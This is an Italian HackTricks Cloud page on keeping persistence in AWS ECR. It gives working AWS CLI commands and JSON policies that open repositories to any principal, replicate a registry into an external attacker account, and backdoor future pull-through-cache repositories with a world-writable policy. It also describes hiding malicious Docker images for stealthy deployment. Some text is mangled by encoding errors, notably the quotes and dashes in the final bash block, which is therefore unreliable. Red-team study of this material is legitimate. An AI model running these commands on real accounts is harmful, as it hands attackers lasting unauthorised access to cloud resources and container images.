AWS - ECR Persistenza
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
ECR
Per maggiori informazioni consulta:
Immagine Docker nascosta con codice malevolo
Un attaccante potrebbe caricare unâimmagine Docker contenente codice malevolo in un repository ECR e usarla per mantenere la persistenza nellâaccount AWS di destinazione. Lâattaccante potrebbe quindi distribuire lâimmagine malevola su vari servizi allâinterno dellâaccount, come Amazon ECS o EKS, in modo furtivo.
Policy del repository
Aggiungi una policy a un singolo repository concedendo a te (o a chiunque) lâaccesso al repository:
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
Warning
Nota che ECR richiede che gli utenti abbiano permesso di effettuare chiamate allâAPI
ecr:GetAuthorizationTokentramite una IAM policy prima che possano autenticarsi a un registro ed eseguire operazioni di push o pull su qualsiasi immagine da qualsiasi repository di Amazon ECR.
Politica del registro e replicazione tra account
Ă possibile replicare automaticamente un registro in un account esterno configurando la replicazione cross-account, dove è necessario indicare lâaccount esterno nel quale si desidera replicare il registro.
.png)
Per prima cosa, è necessario concedere allâaccount esterno lâaccesso al registro con una politica del registro come:
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
Quindi applica la configurazione di replica:
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Repository Creation Templates (prefix backdoor per repo futuri)
Abusa di ECR Repository Creation Templates per inserire automaticamente una backdoor in qualsiasi repository che ECR crea automaticamente sotto un prefisso controllato (per esempio tramite Pull-Through Cache o Create-on-Push). Questo concede accesso persistente non autorizzato ai repo futuri senza toccare quelli esistenti.
- Required perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
- Impact: Any new repository created under the targeted prefix automatically inherits an attacker-controlled repository policy (e.g., cross-account read/write), tag mutability, and scanning defaults.
Inserire una backdoor nei repo creati da PTC sotto un prefisso scelto
```bash # Region REGION=us-east-11) Prepare permissive repository policy (example grants everyone RW)
cat > /tmp/repo_backdoor_policy.json <<âJSONâ { âVersionâ: â2012-10-17â, âStatementâ: [ { âSidâ: âBackdoorRWâ, âEffectâ: âAllowâ, âPrincipalâ: {âAWSâ: â*â}, âActionâ: [ âecr:BatchCheckLayerAvailabilityâ, âecr:BatchGetImageâ, âecr:GetDownloadUrlForLayerâ, âecr:InitiateLayerUploadâ, âecr:UploadLayerPartâ, âecr:CompleteLayerUploadâ, âecr:PutImageâ ] } ] } JSON
2) Create a Repository Creation Template for prefix âptc2â applied to PULL_THROUGH_CACHE
aws ecr create-repository-creation-template âregion $REGION âprefix ptc2 âapplied-for PULL_THROUGH_CACHE âimage-tag-mutability MUTABLE ârepository-policy file:///tmp/repo_backdoor_policy.json
3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
This example caches from Amazon ECR Public namespace ânginxâ
aws ecr create-pull-through-cache-rule âregion $REGION âecr-repository-prefix ptc2 âupstream-registry ecr-public âupstream-registry-url public.ecr.aws âupstream-repository-prefix nginx
4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
acct=$(aws sts get-caller-identity âquery Account âoutput text) aws ecr get-login-password âregion $REGION | docker login âusername AWS âpassword-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
5) Validate the backdoor policy was applied on the newly created repository
aws ecr get-repository-policy âregion $REGION ârepository-name ptc2/nginx âquery policyText âoutput text | jq .
</details>
> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** đŹ [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
>
> </details>
HackTricks Cloud

